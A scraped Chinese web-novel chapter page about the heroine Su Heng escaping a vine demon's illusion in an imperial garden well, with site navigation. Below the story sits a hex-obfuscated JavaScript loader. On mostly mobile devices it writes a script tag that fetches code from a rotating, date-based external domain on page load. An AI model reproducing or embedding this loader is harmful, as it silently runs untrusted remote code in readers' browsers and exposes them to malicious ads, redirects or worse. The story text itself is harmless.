返回第242章 血契裂隙·藤网织局  宋烨茹首页

关灯 护眼     字体:

上一章 目录 下一章

苏蘅指尖刚触到发烫的玉符,腕间誓约之印突然传来灼烧般的刺痛。

她低头时,金印上的莲纹正随着玉符的震动同步轻颤,像两簇隔着皮肉呼应的火苗。

“它在动……有人在引导我们。”她转身欲寻萧砚,却见那枚本该在掌心的玉符“嗡”地腾起红光,如离弦之箭射向御苑西侧。

月光被红光劈开一道缝隙,照见前方影影绰绰的飞檐——那是御苑最偏僻的废弃区域,平日连打扫的宫娥都不愿多踏一步。

“萧砚!”她边喊边追,玄色披风在身后猎猎作响。

可等她穿过月洞门,只余满地碎金般的月光,萧砚的暗卫、方才还喧闹的偏殿,此刻都像被按了静音键。

风卷着枯叶掠过她脚边,带起一阵腐木混着青苔的腥气——这里的植物都蔫头耷脑,连最耐活的野菊都缩成灰扑扑的球。

玉符停在一口枯井上方,红光渐弱,坠向井底。

苏蘅扶着井沿俯身,见井底浮着层青黑色的水,倒映着她的脸。

就在她伸手的刹那,腕间一紧——数根黑藤从井壁裂缝里窜出,缠上她的手腕,冷腻得像泡在冰水里的蛇。

“你以为这是线索?不过是你的催命符。”梦藤妖的声音裹着腐叶味钻进耳朵,四面八方的藤条骤然收紧。

苏蘅吃痛,本能地调动灵植能力,可那些黑藤竟像长了嘴,瞬间啃食她催发的藤蔓嫩芽,连汁水都不留。

“噗通”一声,她被拽入井底。眼前天旋地转,再睁眼时,鼻尖已漫开浓烈的血腥味。

这是片焦土战场。

断旗倒插在血泥里,残阳把碎甲照得像浸了血的红布。

苏蘅低头,见自己穿着玄色战裙,腰间悬着柄带血的匕首——那是赤焰夫人的武器。

五步外,赤焰夫人正握着同样的匕首,银发被血粘成缕,眼底燃着她从未见过的怒火:“你竟用我的金莲花骗我!”

“我没有——”苏蘅想退,后背却撞进一具温热的胸膛。

风无痕的声音贴着她耳后响起,带着她从未听过的沙哑:“你曾是我们最信任的人……为何背叛?”

她猛地转头,撞上风无痕染血的眼。

他颈侧有道深可见骨的刀伤,血正顺着锁骨往下淌,滴在她手背——是烫的。

苏蘅浑身发冷,这幻境竟连体温都能伪造?

“藤网,探。”她咬破舌尖,血腥味激得神智一清。

腕间誓约之印突然爆亮,金光照亮四周浮着的半透明藤蔓——那是幻境的脉络。

她闭眼感知,那些黑藤的根须正从她后颈的皮肤里钻出来,像无数细针往脑仁里扎。

“金莲护体。”她默念赤焰夫人教的口诀,掌心令牌突然发烫。

井底那株被封印的金莲虚影从她心口升起,金瓣拂过之处,黑藤的啃噬声弱了几分。

幻境里的赤焰夫人突然顿住,目光穿过她,落在她身后——那里,风无痕的伤口正在以肉眼可见的速度愈合,血珠悬在半空,像被按了暂停键。

“找到了。”苏蘅睁眼,指尖掐住后颈那根最粗的黑藤根须。

幻境瞬间扭曲,赤焰夫人的脸裂成碎片,风无痕的声音变成刺耳的蜂鸣。

她能清晰感知到,梦藤妖的精魄正藏在某个节点里,通过这些黑藤吸食她的灵识。

“想靠幻境困我?”她扯断那根根须,鲜血顺着指缝滴在黑藤上。金莲虚影突然活了,金瓣化作利刃,将缠在她身上的藤条绞成碎片。

井底的青黑水突然翻涌,露出下面层层叠叠的藤网,每根藤上都串着半透明的魂魄——是被梦藤妖吞噬的灵植师。

“你虽识破幻象……”梦藤妖的声音突然变哑,像被掐住了喉咙,“但已深陷其中。”

苏蘅猛地抬头,见头顶井口的月光被染成诡异的紫。

那些被绞碎的黑藤竟从她脚底的血里钻出来,比之前更粗更密,正顺着她的裤管往上爬,所过之处皮肤泛起紫斑。

她握紧令牌,能感觉到金莲的力量在急速流逝——这幻境,远比她想象的更棘手。

梦藤妖的冷笑裹着腐叶的腥气钻进苏蘅耳膜,她后颈的黑藤根须突然暴长三寸,像无数钢针直扎识海。

苏蘅眼前的焦土战场瞬间扭曲,断旗化作带刺的荆棘缠上她的脚踝,赤焰夫人的虚影举起匕首刺向她心口——那刀刃上的寒芒,竟比真实的武器更让她血液凝固。

“灵识侵蚀……”她咬碎舌尖,腥甜在口中炸开,勉强保持清醒。

腕间誓约之印烫得几乎要穿透皮肉,金纹里渗出细密的金光,像在替她梳理被搅乱的灵脉。 她能清晰感知到,那些黑藤正顺着她的灵识网络蔓延,每啃噬一分,梦藤妖的精魄便膨胀一分——这幻境根本不是困兽之斗,而是在以她为食。

“藤网,连!”苏蘅突然睁开眼,眼底映着幻境里翻涌的黑雾。

她不再试图对抗缠绕的荆棘,反而主动放松灵识,顺着黑藤的脉络向外延伸。

指尖触到幻境边缘时,她捕捉到一丝熟悉的生机——是御苑外那排百年老柳,柳枝在夜风中轻颤的频率,与她血脉里花灵之力的震颤同频。

“借你们的力!”她在心底对老柳低唤。

灵识如藤蔓般穿透幻境壁垒,老柳的生命力顺着藤网倒灌而来,在她识海深处炸开一片翠绿的光。

幻境里的荆棘突然僵住,赤焰夫人的匕首停在离她心口三寸处,连梦藤妖的冷笑都顿了半拍——她在汲取外界植物的力量,把幻境的牢笼变成了连接现实的桥。

“拟态武器——藤火链!”苏蘅大喝一声,掌心腾起幽绿的灵火。

顺着藤网蔓延的老柳枝条瞬间扭曲变形,在她身周缠成拇指粗的锁链,每根链节都裹着跳跃的灵火。

梦藤妖这才惊觉不妙,黑藤疯狂收缩想要抽离,却被藤火链死死缠住。

灵火舔过黑藤的瞬间,腐臭的焦味炸开,苏蘅听见识海里传来尖啸,像是精魄被灼烧的惨叫。

“撕!”她手腕猛震,藤火链带着千钧之力撞向幻境最薄弱的节点。

焦土战场“咔”地裂开蛛网状的缝隙,赤焰夫人的虚影碎成光点,风无痕的血渍被吹成粉末。

苏蘅借着反震之力冲破幻境,眼前的黑暗骤然被月光撕裂——她正跌坐在枯井边缘,后背抵着粗糙的井壁,掌心紧攥着枚温热的碎片,血色纹路在月光下泛着暗金。

“你以为赢了?”阴恻恻的女声从头顶传来。

苏蘅抬头,见秋棠立在井边,月白裙角被夜风吹得翻卷,袖中滑出张猩红符咒,指尖已凝起引火的灵能。

她眼底的狠厉不加掩饰——这是要趁她虚弱,彻底灭口。

“啪!”符咒在将燃未燃之际突然炸裂。

秋棠惊呼一声后退半步,只见道玄色身影从树梢掠下,广袖翻卷间带起的风掀乱了她的鬓发。

风无痕站在井沿,腰间玉牌在月光下泛着冷光,他望着秋棠的眼神像在看一块顽石:“你们太急了……她还没准备好。”

秋棠咬了咬唇,目光在风无痕和苏蘅之间来回,最终攥紧袖口退到三步外。

她临走前深深看了苏蘅一眼,那眼神里有不甘,有怨毒,更有一丝隐晦的警告——但很快被夜色吞没。

风无痕转身看向苏蘅,目光沉静如水:“你已经触碰到真相的一角。”他指了指她掌心的血契碎片,“当年的盟誓未断,可当年的宿敌……”他顿了顿,喉结动了动,终究没再说下去,只留下句“接下来,要靠你自己选择如何面对”,便化作道淡影消失在御苑的飞檐后。

苏蘅低头看向掌中的血契印记。

方才被藤火灼烧的裂痕里,正缓缓浮现一行小字,像是用灵血写就:“盟誓未断,宿敌将现。”字迹刚显全,碎片便重新沉入她掌心,热度却透过皮肤直往心口钻,像在提醒她什么被遗忘的约定。

夜风吹过御苑的朱墙,带起几片未落的银杏叶。

苏蘅扶着井沿站起身,玄色披风上还沾着幻境里的血渍——但这次,是她自己的血。

她摸了摸后颈残留的藤痕,那里还在隐隐作痛,却比不过心口翻涌的灼热。

回到御苑住所时,案上的烛火正噼啪作响。

苏蘅将血契印记轻轻放在案头,金纹与血纹在火光下交织,像朵即将绽放的花。

她闭目凝神,识海里还残留着老柳的低语,还有梦藤妖被灼烧时的尖啸——但更清晰的,是血契碎片里传来的,若有若无的,像是百年前的叹息。

pyright 2026

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");